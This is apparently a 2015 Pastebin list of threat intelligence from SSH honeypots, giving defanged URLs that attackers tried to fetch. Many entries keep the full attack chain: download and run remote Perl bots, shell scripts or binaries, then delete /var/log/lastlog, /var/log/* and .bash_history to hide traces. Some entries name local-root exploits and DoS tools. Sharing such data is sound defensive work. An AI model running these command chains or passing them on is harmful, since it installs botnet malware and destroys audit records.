Advertisement
Guest User

SSH Attacker URLs

a guest
Apr 28th, 2015
1,696
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 24.86 KB | None | 0 0
  1. Below is a listing of URLs, sometimes with commands that attackers have attempted to download and in some cases run in my various ssh honeypots. Not all of these URLs are still valid, and not all are bad. Just wanted to share with the community.
  2.  
  3. @TekDefense
  4.  
  5. hxxp://103.255.177.195/111
  6. hxxp://104.192.0.166/.kane.sh && sh .kane.sh && rm -rf .kane.sh && history -c
  7. hxxp://104.192.0.168/bot.pl && perl bot.pl && rm -rf bot.pl && history -c
  8. hxxp://104.192.0.168/downloads/boatnetlulz.pl && perl boatnetlulz.pl && rm -rf boatnetlulz.pl && history -c
  9. hxxp://104.192.0.168/ldr/pl && killall perl && chmod +x pl && sh pl && rm -rf pl && history -c
  10. hxxp://104.192.0.168/ldz/boatnetlulz.pl && perl boatnetlulz.pl && rm -rf boatnetlulz.pl && history -c
  11. hxxp://104.192.0.168/wop/pl && chmod +x pl && sh pl && rm -rf pl && history -c
  12. hxxp://104.192.0.168/wop/pl && killall perl && chmod +x pl && sh pl && rm -rf pl && history -c
  13. hxxp://104.238.138.64/LA/g.sh && sh g.sh
  14. hxxp://104.238.194.202/bot.pl && chmod 777 bot.pl && perl bot.pl && cat /dev/null > ~/.bash_history && history -c
  15. hxxp://107.160.159.89:5678/hxhx
  16. hxxp://111.39.43.54:5555/dos32
  17. hxxp://112.117.223.10:280/.bash_3.phpmysql
  18. hxxp://112.117.223.10:280/.bash_6.phpmysql
  19. hxxp://112.117.223.10:280/.ect.ceshits
  20. hxxp://112.117.223.10:280/1
  21. hxxp://112.117.223.10:280/2
  22. hxxp://112.117.223.10:280/3
  23. hxxp://112.117.223.10:280/4
  24. hxxp://112.117.223.10:280/5.out
  25. hxxp://115.239.229.196:8081/binnnn
  26. hxxp://115.239.229.196:8081/fm
  27. hxxp://115.239.229.196:8081/Internet32
  28. hxxp://115.29.165.174:25663/.sshdd
  29. hxxp://115.29.165.174:25663/32
  30. hxxp://115.29.165.174:25663/64
  31. hxxp://115.29.165.174:25663/ss32
  32. hxxp://115.29.165.174:25663/ss64
  33. hxxp://115.29.165.174:38886/ssh77
  34. hxxp://115.29.165.174:5234/103.hb
  35. hxxp://115.29.165.174:53621/ssh77
  36. hxxp://115.29.165.174:9563/ssh11
  37. hxxp://117.41.183.207:8080/new4 ; chmod 0755 /root/new4 ; nohup /root/new4 > /dev/null 2>&1 &
  38. hxxp://119.145.148.36:99/Internet
  39. hxxp://119.147.137.62:9999/Linux_2014
  40. hxxp://119.147.137.62:9999/linuxc32
  41. hxxp://119.147.137.62:9999/Linuxts
  42. hxxp://119.148.161.25:805/sd32
  43. hxxp://119.167.137.81:8989/GG26
  44. hxxp://119.167.137.81:8989/GG64
  45. hxxp://119.167.137.81:8989/POP
  46. hxxp://119.167.137.81:8989/SAY456
  47. hxxp://122.224.11.16:123/bash_ling
  48. hxxp://124.237.78.6:8989/gg
  49. hxxp://124.237.78.6:8989/gg1
  50. hxxp://124.237.78.6:8989/say
  51. hxxp://124.237.78.6:8989/say1
  52. hxxp://124.237.78.6:8989/say32
  53. hxxp://124.237.78.6:8989/say64
  54. hxxp://125.46.53.167/adminsb ; chmod 0755 /root/adminsb ; nohup /root/adminsb> /dev/null 2>&1 &
  55. hxxp://128.199.179.103/private/auto/perl-auto.pl && perl perl-auto.pl && rm -rf perl-auto.pl && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  56. hxxp://128.199.179.103/private/auto/xtk-arm-auto && chmod 777 xtk-arm-auto && ./xtk-arm-auto && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  57. hxxp://128.199.179.103/private/auto/xtk-arm-auto && chmod 777 xtk-arm-auto && ./xtk-arm-auto && rm -rf xtk-arm-auto && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  58. hxxp://142.4.195.174/.asdx.pl && perl .asdx.pl && rm -rf .bash_history && rm -rf .asdx.pl
  59. hxxp://142.4.195.174/.etc.pl && perl .etc.pl && rm -rf .bash_history && rm -rf .etc.pl
  60. hxxp://142.4.195.174/.etc.pl && perl .etc.pl && rm -rf .etc.pl && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  61. hxxp://142.4.195.174/.FH.pl && perl .FH.pl && rm -rf .FH.pl && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  62. hxxp://142.4.195.174/.o.pl && perl .o.pl && rm -rf .bash_history && rm -rf .o.pl
  63. hxxp://142.4.195.174/help.sh && sh help.sh
  64. hxxp://142.4.195.174/Iyzan.sh && sh Iyzan.sh
  65. hxxp://142.4.195.174/x.pl && chmod 777 x.pl && rm -rf .bash_history
  66. hxxp://142.4.195.174/x.pl && chmod 777 x.pl && rm -rf .bash_history
  67. hxxp://162.213.152.148/.hey.pl && perl .hey.pl && rm -rf .hey.pl && rm -rf .bash_history
  68. hxxp://173.242.116.246/getbinaries.sh && sh getbinaries.sh
  69. hxxp://173.242.127.69/.bleh.pl && .bleh.pl && rm -rf .bleh.pl && rm -rf .bash_history
  70. hxxp://173.242.127.69/.bleh.pl && .bleh.pl.pl && rm -rf .bleh.pl && rm -rf .bash_history
  71. hxxp://173.242.127.69/.bleh.pl && perl .bleh.pl && rm -rf .*
  72. hxxp://173.242.127.69/.bleh.pl && perl .bleh.pl && rm -rf .bleh.pl && rm -rf .bash_history
  73. hxxp://173.242.127.69/.xx.pl && perl .xx.pl && rm -rf .xx.pl && rm -rf .bash_history && rm -rf /var/log/* && history -c
  74. hxxp://183.56.168.220:8080/TSmii
  75. hxxp://183.60.111.26:83/Internet32
  76. hxxp://183.60.202.149:8080/2228
  77. hxxp://183.60.202.149:999/xudp111
  78. hxxp://185.11.146.63/asap/pma.pl ; perl pma.pl
  79. hxxp://185.61.137.109/.jgz.pl && perl .jgz.pl && rm -rf .jgz.pl && rm -rf .bash_history && rm -rf /var/log/* && history -c
  80. hxxp://185.61.137.109/.xml.pl && perl .xml.pl && rm -rf .xml.pl && cat /dev/null > ~/.bash_history && rm -rf /var/log/* && history -c
  81. hxxp://185.61.137.109/.xml.pl && perl .xml.pl && rm -rf .xml.pl && rm -rf .xml.pl && cat /dev/null > ~/.bash_history && rm -rf /var/log/* && history -c
  82. hxxp://185.61.137.109//.xml.pl && perl .xml.pl && rm -rf .xml.pl && history -c
  83. hxxp://185.63.253.93/.armconf && chmod 777 .armconf && ./.armconf && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  84. hxxp://185.63.253.93/.gov.pl && perl .gov.pl && rm -rf .gov.pl && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  85. hxxp://185.63.253.93/.lu.pl && perl .lu.pl && rm -rf .lu.pl && rm -rf /var/log/lastlog && history -c
  86. hxxp://185.63.253.93/.lu.pl > /dev/null 2>&1; perl .lu.pl> /dev/null 2>&1 ; perl .lu.pl > /dev/null 2>&1; rm -rf .lu.pl ;rm -rf /var/log/lastlog ;history -c
  87. hxxp://185.63.253.93/.so.pl && perl .so.pl && rm -rf .so.pl && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  88. hxxp://185.63.253.93/.ssd.pl && perl .ssd.pl && rm -rf .ssd.pl && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  89. hxxp://185.63.253.93/.xtkarmx > /dev/null 2>&1; chmod +x .xtkarmx> /dev/null 2>&1 ; ./.xtkarmx > /dev/null 2>&1; rm -rf .lu.pl.1; rm -rf /var/log/lastlog; history -c
  90. hxxp://185.63.253.93/new > /dev/null 2>&1; chmod +x new> /dev/null 2>&1 ; ./new > /dev/null 2>&1; rm -rf .xtki686x; rm -rf /var/log/lastlog; history -c
  91. hxxp://188.212.103.201/glfgfdhg/run-nodns.pl && perl run-nodns.pl && rm -rf run-nodns.pl && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  92. hxxp://188.212.103.234/private/auto/.xtkarmx > /dev/null 2>&1; chmod +x .xtkarmx> /dev/null 2>&1 ; ./.xtkarmx > /dev/null 2>&1; rm -rf .xtkarmx; rm -rf /var/log/lastlog; history -c
  93. hxxp://188.212.103.234/private/auto/.xtki686x > /dev/null 2>&1; chmod +x .xtki686x> /dev/null 2>&1 ; ./.xtki686x > /dev/null 2>&1; rm -rf .xtki686x; rm -rf /var/log/lastlog; history -c
  94. hxxp://192.227.233.105/xD.tar && tar -xvf xD.tar && chmod +x * && ./run && rm -rf .bash_history
  95. hxxp://192.227.233.105/xD.tar && tar -xvf xD.tar && chmod 777 * && ./run && rm -rf .bash_history
  96. hxxp://192.227.237.63/.like.pl && perl .like.pl && rm -rf .like.pl && rm -rf .bash_history
  97. hxxp://192.99.151.50/getbinaries.sh && sh getbinaries.sh && rm -rf .bash_history && rm -rf getbinaries.sh && history -c
  98. hxxp://192.99.154.63/.l/gb.sh && chmod +x gb.sh && ./gb.sh && rm -rf gb.sh
  99. hxxp://192.99.154.63/.l/gb.sh && chmod +x gb.sh && sh gb.sh && rm -rf gb.sh
  100. hxxp://192.99.154.63/.l/gettb.sh && chmod +x gettb.sh && ./gettb.sh && rm -rf gettb.sh
  101. hxxp://192.99.154.63/.l/gettb.sh && chmod +x gettb.sh && ./gettb.sh
  102. hxxp://192.99.168.37/.log522 -O /tmp/.log522 && perl /tmp/.log522 && echo kd6mr:$? || echo kd7mr:$?
  103. hxxp://192.99.168.37/@/.xx.pl && perl .xx.pl && rm -rf .xx.pl && rm -rf .bash_history && rm -rf /var/log/* && history -c
  104. hxxp://192.99.168.37/gb.sh -O /var/run/gb.sh && sh /var/run/gb.sh && echo 042d618fb7d456f4c891d49960e9cf78:$? || echo 521a7ef4bd41166d262a9f88af67d9a6:$?
  105. hxxp://192.99.168.37/gb.sh && sh gb.sh && echo d2fb643266d1ebc393031105503bc98e:$? || echo f8736cbc388a508813b59477592715f1:$?
  106. hxxp://192.99.168.37/getbinaries.sh && sh getbinaries.sh && rm -rf .bash_history && rm -rf getbinaries.sh && history -c
  107. hxxp://192.99.168.37/getbinaries.sh && sh getbinaries.sh
  108. hxxp://193.84.64.184/private/auto/arm-confi && chmod 777 arm-confi && ./arm-confi && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  109. hxxp://198.12.69.114/kaitenmips && chmod +x kaitenmips && ./kaitenmips && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  110. hxxp://198.144.181.141/getbinaries.sh && sh getbinaries.sh && rm -rf getbinaires.sh /var/log/lastlog && rm -rf .bash_history && history -c
  111. hxxp://198.2.192.204:22/disknyp
  112. hxxp://198.23.238.194/.ii.pl && perl .ii.pl && rm -rf .ii.pl && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  113. hxxp://198.27.124.29/getbinaries.sh && sh getbinaries.sh && rm -rf getbinaires.sh
  114. hxxp://198.27.124.29/mips && chmod +x mips && ./mips && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  115. hxxp://198.50.202.194/.1.pl && perl .1.pl && rm -rf .1.pl && history -c
  116. hxxp://198.50.202.194/.1.pl && perl .1.pl && rm -rf .1.pl 3.pl && history -c
  117. hxxp://198.50.202.194/.3.pl && perl .3.pl && rm -rf .1.pl 3.pl && history -c
  118. hxxp://198.50.202.194/.3.pl && perl .3.pl && rm -rf .3.pl && history -c
  119. hxxp://198.50.202.194/.3.pl && perl .3.pl && rm -rf .bash_history && rm -rf .3.pl && history -c
  120. hxxp://198.50.202.194/.7.pl && perl .7.pl && rm -rf * && history -c
  121. hxxp://198.50.202.194/.8.pl && perl .8.pl && rm -rf .*
  122. hxxp://198.50.202.194/.ad.pl && perl .ad.pl && rm -rf .ad.pl && rm -rf .bash_history
  123. hxxp://198.50.202.194/.bleh.pl && .bleh.pl.pl && rm -rf .bleh.pl && rm -rf .bash_history
  124. hxxp://198.50.202.194/.bleh.pl && perl .bleh.pl && rm -rf .bleh.pl && rm -rf .bash_history
  125. hxxp://198.50.202.194/.exsd.pl && perl .exsd.pl && rm -rf .exsd.pl && rm -rf .bash_history
  126. hxxp://198.50.202.194/.FH.pl && perl .FH.pl && rm -rf .FH.pl && rm -rf .bash_history
  127. hxxp://198.50.202.194/.FH.pl && perl .FH.pl && rm -rf .FH.pl && rm -rf /var/log/lastlog && rm -rf .bash_history && hisotry -c
  128. hxxp://198.50.202.194/.k.pl && perl .k.pl && rm -rf .k.pl && rm -rf .bash_history
  129. hxxp://198.50.202.194/.k.pl && perl .k.pl && rm -rf .k.pl
  130. hxxp://198.50.202.194/.kk.sh && sh .kk.sh && rm -rf .bash_history && rm -rf .kk.sh && history -c
  131. hxxp://198.50.202.194/.l32 && chmod 777 .l32 && ./l32 && history -c
  132. hxxp://198.50.202.194/.Lol.pl && perl .Lol.pl && rm -rf run.pl && rm -rf .bash_history
  133. hxxp://198.50.202.194/.p.pl && perl .p.pl && rm -rf .bash_history && rm -rf .p.pl
  134. hxxp://198.50.202.194/.POOP.pl && perl .POOP.pl && perl .POOP.pl && rm -rf .POOP.pl && history -c
  135. hxxp://198.50.202.194/.rush.pl && history -c
  136. hxxp://198.50.202.194/.xx.pl && perl .xx.pl && rm -rf .bash_history && history -c
  137. hxxp://198.50.202.194/.xx.pl && perl .xx.pl && rm -rf .xx.pl && history -c && rm -rf .bash_history
  138. hxxp://198.50.202.194//.bleh.pl && perl .bleh.pl && rm -rf .bleh.pl && rm -rf .bash_history
  139. hxxp://198.50.202.194/getbinaries.sh && sh getbinaries.sh && rm -rf .bash_history && rm -rf getbinaries.sh && history -c
  140. hxxp://198.50.202.194/Iyzan.sh && sh Iyzan.sh
  141. hxxp://198.50.202.194/l32 && chmod 777 l32 && ./l32 && history -c
  142. hxxp://198.50.202.194/l64 && chmod 777 l64 && ./l64 && history -c
  143. hxxp://198.50.202.194/linux.c && gcc -o l linux.c && ./l && rm -rf * && history -c
  144. hxxp://199.168.143.178/.xx.pl && perl .xx.pl && rm -rf .bash_history && rm -rf .xx.pl && history -c
  145. hxxp://199.168.143.178/getbinaries.sh && sh getbinaries.sh && rm -rf .bash_history && rm -rf getbinaries.sh && history -c
  146. hxxp://199.193.64.170:111/bash_iptv
  147. hxxp://202.77.183.172:2012
  148. hxxp://204.124.181.131/frank.pl && perl frank.pl && rm -rf frank.pl && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  149. hxxp://207.244.82.117/hs666.pl && perl hs666.pl && rm -rf phs666.pl
  150. hxxp://210.209.118.44:66/mc
  151. hxxp://222.186.31.105:83/ExeBinder32
  152. hxxp://222.186.34.143:123/ssh33
  153. hxxp://222.186.42.204:321/linuxx32
  154. hxxp://222.186.42.204:8081/linux881
  155. hxxp://23.228.102.152:1818/bulong
  156. hxxp://23.234.19.202/i/a06
  157. hxxp://23.234.19.202/i/a07
  158. hxxp://23.234.19.202/i/a08
  159. hxxp://23.234.19.202/i/a09
  160. hxxp://23.234.60.140/install/8000
  161. hxxp://23.234.60.140/install/8001
  162. hxxp://23.234.60.140/install/8002
  163. hxxp://23.234.60.140/install/8003
  164. hxxp://23.234.60.140/install/8004
  165. hxxp://23.234.60.140/install/8005
  166. hxxp://23.234.60.140/install/8006
  167. hxxp://23.234.60.140/install/8007
  168. hxxp://23.234.60.140/install/8008
  169. hxxp://23.94.97.21/.sshd.pl && perl .sshd.pl && rm -rf .sshd.pl && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  170. hxxp://23.94.97.21/arm-confi && chmod 777 arm-confi && ./arm-confi && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  171. hxxp://23.94.97.21/mips && chmod 777 mips && ./mips && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  172. hxxp://31.171.131.25/bot.pl
  173. hxxp://38.68.20.127/i/a07
  174. hxxp://38.68.20.127/i/a08
  175. hxxp://38.68.20.127/i/a09
  176. hxxp://42.194.9.81:8989/GG24
  177. hxxp://42.194.9.81:8989/GG32
  178. hxxp://42.194.9.81:8989/SAY123
  179. hxxp://42.51.154.54:88/hg
  180. hxxp://5.152.206.162/getbinaries.sh && sh getbinaries.sh && rm -rf getbinaires.sh .bash_history && history -c
  181. hxxp://5.152.206.162/getbinaries.sh && sh getbinaries.sh && rm -rf getbinaires.sh /var/log/lastlog && rm -rf .bash_history && history -c
  182. hxxp://5.152.206.162/pbot.sh && sh pbot.sh && rm -rf pbot.sh
  183. hxxp://5.152.206.186/getbinaries.sh && sh getbinaries.sh && rm -rf getbinaries.sh
  184. hxxp://50.115.163.43/.o.pl && perl .o.pl && rm -rf .bash_history && rm -rf .o.pl
  185. hxxp://50.116.13.237/get32
  186. hxxp://58.221.114.28:55533/cq
  187. hxxp://58.221.45.242:54852/sqlxz &&chmod 0755 /etc/sqlxz&&nohup /etc/sqlxz > /dev/null 2>&1 &
  188. hxxp://58.221.45.242:54852/sqlxz &&chmod 0755 sqlxz&&nohup ./sqlxz > /dev/null 2>&1 &
  189. hxxp://59.63.183.193:280/.etc_28888
  190. hxxp://59.63.183.193:280/.etc_Test8888
  191. hxxp://61.132.227.111:8080/meimei
  192. hxxp://61.136.93.3:8080/sb10 ; chmod 0755 /root/sb10 ; nohup /root/sb10> /dev/null 2>&1 &
  193. hxxp://61.136.93.3:8080/sb60 ; chmod 0755 /root/sb60 ; nohup /root/sb60> /dev/null 2>&1 &
  194. hxxp://61.136.93.8:8080/amd64
  195. hxxp://61.147.103.152:8090/node26
  196. hxxp://61.160.247.7:223/.Rape
  197. hxxp://81.4.106.149/.like.pl && perl .like.pl && rm -rf .like.pl && rm -rf .bash_history
  198. hxxp://81.86.153.92/dd/x6.tgz
  199. hxxp://89.202.127.19/icons/guga/bot.dat
  200. hxxp://89.248.169.71/arm && chmod +x arm && ./arm && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  201. hxxp://89.248.169.71/flexmips && chmod +x flexmips && ./flexmips && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  202. hxxp://89.248.169.71/mips && chmod +x mips && ./mips && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  203. hxxp://93.158.200.27/mips && chmod +x mips && ./mips && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  204. hxxp://93.174.93.45/.edu.pl && perl .edu.pl && rm -rf .edu.pl && rm -rf /var/log/lastlog && history -c
  205. hxxp://93.174.93.45/.lu.pl && perl .lu.pl && rm -rf .lu.pl && rm -rf /var/log/lastlog && history -c
  206. hxxp://93.174.93.45/f.sh && sh f.sh
  207. hxxp://93.174.93.45/f.sh > /dev/null 2>&1; chmod +x f.sh> /dev/null 2>&1 ; ./f.sh > /dev/null 2>&1; rm -rf ktx-i686er.1; rm -rf /var/log/lastlog; history -c
  208. hxxp://93.174.93.45/h.sh > /dev/null 2>&1; chmod +x h.sh> /dev/null 2>&1 ; ./h.sh > /dev/null 2>&1; rm -rf ktx-i686er.1; rm -rf /var/log/lastlog; history -c
  209. hxxp://93.174.93.45/ktx-armer && chmod 777 ktx-armer; && ./ktx-armer && rm -rf mips-ktx.1 && rm -rf /var/log/lastlog && history -c
  210. hxxp://93.174.93.45/ktx-armer > /dev/null 2>&1; chmod +x ktx-armer> /dev/null 2>&1 ; ./ktx-armer > /dev/null 2>&1; rm -rf ktx-armer.1; rm -rf /var/log/lastlog; history -c
  211. hxxp://93.174.93.45/ktx-i686er > /dev/null 2>&1; chmod +x ktx-i686er> /dev/null 2>&1 ; ./ktx-i686er > /dev/null 2>&1; rm -rf ktx-armer.1; rm -rf /var/log/lastlog; history -c
  212. hxxp://93.174.93.45/ktx-mips && chmod 777 ktx-mips; && ./ktx-mips && rm -rf mips-ktx.1 && rm -rf /var/log/lastlog && history -c
  213. hxxp://93.174.93.45/ktx-mipsel && chmod 777 ktx-mipsel; && ./ktx-mipsel && rm -rf mips-ktx.1 && rm -rf /var/log/lastlog && history -c
  214. hxxp://93.174.93.45/ktx-mipsel > /dev/null 2>&1; chmod +x ktx-mipsel> /dev/null 2>&1 ; ./ktx-mipsel > /dev/null 2>&1; rm -rf new.1; rm -rf /var/log/lastlog; history -c
  215. hxxp://93.174.93.45/mips-ktx && chmod 777 mips-ktx && ./mips-ktx && rm -rf mips-ktx.1 && rm -rf /var/log/lastlog && history -c
  216. hxxp://93.174.93.45/mips-ktx && chmod 777 mips-ktx; && ./mips-ktx && rm -rf mips-ktx.1 && rm -rf /var/log/lastlog && history -c
  217. hxxp://93.174.93.45/mips-ktx > /dev/null 2>&1; chmod +x mips-ktx> /dev/null 2>&1 ; ./mips-ktx > /dev/null 2>&1; rm -rf new.1; rm -rf /var/log/lastlog; history -c
  218. hxxp://93.174.93.45/x64-ktx > /dev/null 2>&1; chmod +x x64-ktx> /dev/null 2>&1 ; ./x64-ktx > /dev/null 2>&1; rm -rf ktx-armer.1; rm -rf /var/log/lastlog; history -c
  219. hxxp://93.184.66.196/.xml.pl && perl .xml.pl && rm -rf .xml.pl && rm -rf .xml.pl && cat /dev/null > ~/.bash_history && rm -rf /var/log/* && history -c
  220. hxxp://93.184.66.196/.ztx.pl && perl .ztx.pl && rm -rf .ztx.pl && rm -rf .bash_history && rm -rf /var/log/* && history -c
  221. hxxp://93.91.53.121/wp-admin/includes/download/config-nodns.pl && perl config-nodns.pl && rm -rf config-nodns.pl && rm -rf .bash_history
  222. hxxp://93.91.53.121/wp-admin/includes/download/ktx/ktx-arm-dns && chmod 777 ktx-arm-dns && ./ktx-arm-dns
  223. hxxp://93.91.53.121/wp-admin/includes/download/ktx/ktx-arm-nodns && chmod 777 ktx-arm-nodns && ./ktx-arm-nodns && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  224. hxxp://93.91.53.121/wp-admin/includes/download/ktx/ktx-arm-nodns && chmod 777 ktx-arm-nodns && mv ktx-arm-nodns .ktx && ./.ktx && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  225. hxxp://93.91.53.121/wp-admin/includes/download/ktx/ktx-z64-dns && chmod 777 ktx-x64-dns && ./ktx-x64-dns && rm -rf *
  226. hxxp://93.91.53.121/wp-admin/includes/download/ping.pl && perl ping.pl && rm -rf ping.pl && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  227. hxxp://93.91.53.121/wp-admin/includes/download/run-nodns.pl && perl run-nodns.pl && rm -rf *
  228. hxxp://93.91.53.121/wp-admin/includes/download/run-nodns.pl && perl run-nodns.pl && rm -rf run-nodns.pl && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  229. hxxp://93.91.53.121/wp-admin/includes/download/run-nodns.pl && perl run-nodns.pl && rm -rf run*
  230. hxxp://93.91.53.121/wp-admin/includes/download/run.pl && perl run.pl && rm -rf *
  231. hxxp://93.91.53.121/wp-admin/includes/download/run.pl && perl run.pl && rm -rf run.pl && rm -rf /var/log/lastlog && rm -rf .bash_history && history -c
  232. hxxp://93.91.53.121/wp-admin/includes/download/run.pl && perl run.pl && rm -rf run*
  233. hxxp://95.85.15.126/.xsh && sh .x.sh && rm -rf .x.sh && history -c
  234. hxxp://amxcomercial.com.br/index4.html
  235. hxxp://archive.ubuntu.com/ubuntu/pool/main/d/debootstrap/debootstrap_1.0.32_all.deb
  236. hxxp://bat.ucoz.ro/Linux/PerlBoT/fafic.ico
  237. hxxp://buhenge.com/z2 -O acdnfhruvx
  238. hxxp://cachefly.cachefly.net/100mb.test
  239. hxxp://cachefly.cachefly.net/100mb.test
  240. hxxp://chmod-mix.at.ua/agent.tgz
  241. hxxp://chmod-mix.at.ua/agent.tgz; tar -zxf agent.tgz; cd Agent; chmod +x *; ./go
  242. hxxp://codeload.github.com/sqlmapproject/sqlmap/legacy.tar.gz/master
  243. hxxp://commondatastorage.googleapis.com/freebase-public/rdf/freebase-rdf-2013-06-02-00-00.gz
  244. hxxp://conficker.web.id/auto/cw7.3
  245. hxxp://csj.lyjq.org:8989/POP
  246. hxxp://ctrlcenter.pw/dlm/.ssl.pl && perl .ssl.pl && rm -rf .ssl.pl && rm -rf .bash_history && rm -rf /var/log/* && history -c
  247. hxxp://ctrlcenter.pw/dlm/.z.pl && perl .z.pl && rm -rf .z.pl && history -c
  248. hxxp://ctrlcenter.pw/iz/.z.pl && perl .c.pl && rm -rf .c.pl && history -c
  249. hxxp://ctrlcenter.pw/iz/.z.pl && perl .z.pl && rm -rf .z.pl && history -c
  250. hxxp://ctrlcenter.pw/iz/payw && chmod 777 payw && ./payw && rm -rf payw
  251. hxxp://ctrlcenter.pw/iz/payw && chmod 777 payw && /tmp/payw && rm -rf payw
  252. hxxp://ctrlcenter.pw/tr/payw && chmod 777 payw && ./payw && rm -rf payw
  253. hxxp://debian.fastweb.it/debian-cd/3.1_r2/source/iso-dvd/debian-31r2-source-2.iso
  254. hxxp://digitalgod.me/LA/g.sh && chmod +x g.sh && sh g.sh
  255. hxxp://dl.dropbox.com/u/6826053/Scripts/DOS.pl
  256. hxxp://dl.dropbox.com/u/6826053/Scripts/DOS.sh
  257. hxxp://dl.dropboxusercontent.com/s/1bxj9ak8m1octmk/ktx.c
  258. hxxp://dl.dropboxusercontent.com/s/66gpt66lvut4gdu/ktx
  259. hxxp://dl.dropboxusercontent.com/u/133538399/multi.py
  260. hxxp://dogecointutorial.com/misc/cgminer-3.7.2-x86_64-built.tar.lrz
  261. hxxp://download.fedoraproject.org/pub/fedora/linux/updates/18/SRPMS/wireshark-1.8.5-2.fc18.src.rpm
  262. hxxp://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe
  263. hxxp://download.thinkbroadband.com/200MB.zip
  264. hxxp://downloads.activestate.com/ActivePerl/releases/5.18.2.1802/ActivePerl-5.18.2.1802-x86_64-linux-glibc-2.5-298023.tar.gz
  265. hxxp://downloads.metasploit.com/data/releases/archive/metasploit-4.9.2-linux-x64-installer.run
  266. hxxp://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run
  267. hxxp://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run
  268. hxxp://e-cab.binhoster.com/nc
  269. hxxp://freewebtown.com/maanu/rdp.tgz
  270. hxxp://ftp.gnu.org/gnu/autoconf/autoconf-2.69.tar.gz
  271. hxxp://ftp.mirrorservice.org/sites/ftp.wiretapped.net/pub/security/packet-construction/netcat/gnu-netcat/netcat-0.7.1.tar.gz
  272. hxxp://ftp.rxxiaoao.com/install/3501.rar ) && chmod +x 3501.rar && ./3501.rar
  273. hxxp://ftp.rxxiaoao.com/install/n8000.rar -O n8000.rar
  274. hxxp://ftp.rxxiaoao.com/install/n8001.rar -O n8001.rar
  275. hxxp://ftp.rxxiaoao.com/install/n8002.rar -O n8002.rar
  276. hxxp://ftp.rxxiaoao.com/install/n8003.rar -O n8003.rar
  277. hxxp://ftp.rxxiaoao.com/install/n8005.rar -O n8005.rar
  278. hxxp://ftp.rxxiaoao.com/install/n8006.rar -O n8006.rar
  279. hxxp://ftp.rxxiaoao.com/install/n8007.rar -O n8007.rar
  280. hxxp://ftp.rxxiaoao.com/install/n8008.rar -O n8008.rar
  281. hxxp://ftp.ubuntu.com/ubuntu/pool/universe/s/sqlmap/sqlmap_0.9.150320.orig.tar.gz
  282. hxxp://ha.ckers.org/slowloris/slowloris.pl
  283. hxxp://hello.com/c
  284. hxxp://hostve.com/neobuntu/pics/Ubu1.avi
  285. hxxp://i.need.ro/.x/x.pdf
  286. hxxp://i.need.ro/.x/x.pdf;tar zxvf x.pdf;rm -rf x.pdf;cd .x
  287. hxxp://kippo.googlecode.com/svn/trunk/kippo/commands/adduser.py
  288. hxxp://kippo.googlecode.com/svn/trunk/kippo/commands/wget.py
  289. hxxp://kismetismy.name/ktx
  290. hxxp://layer1.cpanel.net/latest
  291. hxxp://linux-help.bugs3.com/Camel/mail.txt
  292. hxxp://linux-help.bugs3.com/Camel/mail.txt;chmod +x mail.txt;perl mail.txt;rm -rf mail.txt
  293. hxxp://linux.duke.edu/projects/yum/download/2.0/yum-2.0.7.tar.gz
  294. hxxp://linuxhk.webs.com/xxplex/dedicate.tar
  295. hxxp://mexicocityexplorer.com/tourscongreso/site/images/smtp.tar
  296. hxxp://nemo.rdsor.ro/darwin.jpg
  297. hxxp://nmap.org/dist/nmap-6.46-1.i386.rpm
  298. hxxp://packetstorm.wowhacker.com/DoS/juno.c
  299. hxxp://pastebin.com/raw.php?i=HRWt31Qe -O g3m.pl
  300. hxxp://pastebin.com/raw.php?i=Vb79f5PZ -O banner313.pl
  301. hxxp://rapk1d.webs.com/100mb.tgz
  302. hxxp://repositorio.allalla.com/bnc.pl
  303. hxxp://repositorio.allalla.com/g3m_III
  304. hxxp://repositorio.allalla.com/l
  305. hxxp://root-arhive.at.ua/psybnc/psybnc-linux.jpg
  306. hxxp://root-arhive.at.ua/scanner/gosh.jpg
  307. hxxp://search.cpan.org/CPAN/authors/id/M/MJ/MJD/Devel-Trace-0.12.tar.gz
  308. hxxp://sharplase.ru/x.txt
  309. hxxp://sorinel.webs.com/gosh.tar
  310. hxxp://sourceforge.net/projects/cpuminer/files/pooler-cpuminer-2.3.2-linux-x86_64.tar.gz/download
  311. hxxp://sourceforge.net/projects/cpuminer/files/pooler-cpuminer-2.3.2-linux-x86.tar.gz
  312. hxxp://sourceforge.net/projects/cpuminer/files/pooler-cpuminer-2.3.2.tar.gz
  313. hxxp://tenet.dl.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2.tar.gz
  314. hxxp://unrealircd.com/3.2.10
  315. hxxp://webtools.netii.net/scanner.zip
  316. hxxp://www.baidu.com
  317. hxxp://www.baributz.com/localroot/cw7.3
  318. hxxp://www.bl4ck-viper.persiangig.com/p8/localroots/2.6.x/cw7.3
  319. hxxp://www.bl4ck-viper.persiangig.com/p8/localroots/2.6.x/prct5.sh
